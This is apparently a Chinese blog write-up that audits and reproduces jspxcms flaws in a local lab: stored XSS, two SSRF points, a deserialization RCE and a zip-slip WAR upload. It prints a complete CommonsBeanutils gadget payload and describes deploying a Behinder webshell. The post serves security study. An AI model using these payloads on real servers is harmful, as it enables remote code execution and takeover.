一次历史漏洞分析与复现的全部过程

环境需求

  • 系统:Windows10
  • 中间件:[dlcdn.apache.org/tomcat/tomc…]
  • 数据库:用phpstudy携带的5.7.26版本即可
  • jspxcms安装包(部署到Tomcat用来复现):[www.ujcms.com/uploads/jsp…]
  • jspxcms源码包(部署到IDEA进行分析):[www.ujcms.com/uploads/jsp…]

部署过程

一、jspxcms安装包部署到Tomcat

解压好jspxcms安装包后,将Tomcat的ROOT目录替换为jspxcms的ROOT目录。

img

修改application.properties数据库信息,最后启动Tomcat就部署完成了。

img

二、jspxcms源码部署到IDEA

使用IDEA打开解压好的源码目录,由于使用了SpringBoot,直接启用主程序Application即可。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

漏洞复现

一、XSS

在首页随便打开一条新闻,评论需要登录,先注册一个用户,然后提交评论,使用burpsuite抓包。

img

查看请求包可以看到请求路径是/comment_submit,通过路径定位到源码。

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

img

在IDEA使用Ctrl+Shift+F搜索comment_submit,很容易就可以找到,在此处下断点进行调试。

img

重新发布一条评论,回到 IDEA,可以看到变量 text 接收了评论的内容,然后又调用了 submit。

img

跟进这个 submit,在调用 service 层进行业务处理的位置下断点。可以看到使用了 comment 对象的属性去保存 text 然后传递给 service.save ,text 的内容没有被改变。跟进 service.save 在调用 dao 层的位置下断点。

img

可以看到看到 text 的内容还是没有改变,跟到这里就行了,因为 dao 层一般只做跟数据库相关的操作,不会有任何安全处理。就这样评论的内容被写入到数据库了。

img

img

但是在文章页面并没有触发XSS,所以需要寻找是否有其他页面可以触发。在 burpsute 可以看到评论的内容在请求 /comment_list 时得到,并且该内容进行了HTML实体编码。使用 IDEA 的搜索功能查找该前端页面。

img

img

直接到实际处理数据的 list 方法下断点进行调试。跟进 site.getTemplate 可以看到前端页面路径是 /1/default/sys_comment_list.html。

img

img

查看该页面是如何做转义处理的,在 pom.xml 查看项目依赖,可以看到项目使用的前端框架是 freemarker。结合 sys_comment_list.html 的内容与说明文档可知前端页面使用了 escape 标签进行 HTML 实体编码。

img

img

img

那么找找跟评论相关并且没有 escape 标签的前端页面,找到了 sys_member_space_comment.html 符合条件。使用IDEA搜索,查看如何才能访问到 sys_member_space_comment.html,可以看到在 sys_member_space.html 下参数 type 等于 comment 那么 sys_member_space_comment.html 就会被包含 。

img

查看如何访问 sys_member_space.html,可以看到文件名被定义为常量,space 方法使用了该常量,也就是说访问路径的格式为 /space/{id} 时就能触发 XSS 了。

img

img

XSS漏洞触发效果如下所示。

img

二、SSRF

审计 SSRF 时需要注意的敏感函数:

scss复制代码URL.openConnection ()
URL.openStream ()
HttpClient.execute ()
HttpClient.executeMethod ()
HttpURLConnection.connect ()
HttpURLConnection.getInputStream ()
HttpServletRequest ()
BasicHttpEntityEnclosingRequest ()
DefaultBHttpClientConnection ()
BasicHttpRequest () 

第一处 SSRF:
直接使用 IDEA 搜索敏感函数,找到一处使用了 HttpClient.execute() 的方法 fetchHtml(),它被当前类的另一个 fetchHtml() 调用。

img

img

在 fetchUrl() 调用了 fetchHtml(),并且这个方法可以直接被 HTTP 访问。

img

使用 python 开启一个简易的 http 服务进行测试,测试效果如下所示,成功触发 SSRF。

img

img

第二处 SSRF:
搜索 openConnection ,可以看到在方法 ueditorCatchImage() 下,参数 source[] 直接可控,当执行到 conn.getContentType().indexOf(“image”) 时就会去请求相应的资源。

img

搜索调用 ueditorCatchImage() 方法的位置,可以看到访问路径为 /ueditor,action 参数需要等于 catchimage。

img

构造 payload 触发漏洞,如下所示成功触发 SSRF。

img

img

三、RCE

第一处 反序列化RCE
在审计 RCE 时需要先查看项目使用了哪些依赖包,可以看到项目中的依赖包符合 ysoserial 中的 CommonsBeanutils1 的条件,但是依赖包版本有一些差异。

img

img

我们直接在项目中创建一个 test 类进行测试,查看反序列化是否能成功执行,我在测试时发现反序列 ysoserial 的 CommonsBeanutils1 并不能成功,然后我使用之前跟p牛学的payload可以成功弹出计算器,如下图所示。

img

Payload:

java复制代码package com.jspxcms.core.test ;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl ;
import org.apache.commons.beanutils.BeanComparator ;

import java.io.* ;
import java.lang.reflect.Field ;
import java.util.Base64 ;
import java.util.PriorityQueue ;

public class test  {
    public static void main ( String []  args )  throws Exception {

        byte [] code = Base64 . getDecoder (). decode ( "yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwAGQAaBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAFSGVsbG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAwACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAEwAEABQADQAVAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=" );

        TemplatesImpl obj = new TemplatesImpl ();
        setFieldValue ( obj , "_bytecodes" , new byte [][]{ code });
        setFieldValue ( obj , "_name" , "xxx" );
        setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ());

        BeanComparator comparator = new BeanComparator ( null , String . CASE_INSENSITIVE_ORDER );
        PriorityQueue queue = new PriorityQueue ( 2 , comparator );
        queue . add ( "x" );
        queue . add ( "x" );

        setFieldValue ( comparator , "property" , "outputProperties" );
        setFieldValue ( queue , "queue" , new Object []{ obj , obj });

        ObjectOutputStream out = new ObjectOutputStream ( new FileOutputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));
        out . writeObject ( queue );
        out . close ();

        ObjectInputStream in = new ObjectInputStream ( new FileInputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));
        in . readObject ();
        in . close ();
    }

    private static void setFieldValue ( Object obj ,  String field ,  Object arg )  throws Exception {
        Field f = obj . getClass (). getDeclaredField ( field );
        f . setAccessible ( true );
        f . set ( obj , arg );
    }
} 

经过测试反序列漏洞是可以利用的,现在需要一处接收反序列化数据触发漏洞的点。继续查看依赖包发现使用了 Apache Shiro 并且版本小于 1.4.2,可以利用 Shiro-721。这里我使用 github.com/inspiringz/… 进行测试。

img

爆破出可以攻击的 rememberMe Cookie 大概需要一个多小时,如下界面所示。

img

进行测试成功弹出计算器,反序列化 RCE 利用成功。

img

第二处 文件上传RCE
这个漏洞在文件管理的压缩包上传功能,上传的压缩包会被自动解压,如果我们在压缩包中放入 war 包并配合解压后目录穿越 war 包就会被移动到 tomcat 的 webapps 目录,而 tomcat 会自动解压 war 包。

img

这里我使用冰蝎的 jsp webshell ,将 webshell 打包成 war 包。

img

然后将 war 包打包成压缩文件。

img

注意:这里测试需要启动 tomcat 做测试,而不是 IDEA 的 SpringBoot,否则可能无法成功。
上传完之后连接 webshell 成功 RCE。

img

分析漏洞产生的原因,抓取文件上传的请求包,通过请求路径使用 IDEA 定位到代码。

img

img

到 super.zipUpload 处下断点进行调试,继续跟入 AntZipUtils.unzip()。

img

可以看到文件名没有做安全处理,执行到 fos.write 时 shell.war 就被写入到 tomcat 的 webapps 目录了,这里的目录名不太对劲,因为是在 IDEA 启动 SpringBoot 进行调试的,无须在意,分析到这里就结束了。

img

为什么不直接上传 jsp 文件 getshell 呢?我们试一下,发现响应 404 文件不存在,并且文件路径前加了 /jsp。

img

通过调试发现 JspDispatcherFilter.java 会对访问的 jsp 文件路径前加 /jsp,这就是不直接上传 jsp 文件 getshell的原因。而我们使用压缩包的方式会将 shell.war 解压到 tomcat 的 webapps 目录,这相当于一个新的网站项目JspDispatcherFilter.java 是管不着的。

img

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,如果你对网络安全入门感兴趣,需要的话可以在下方

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值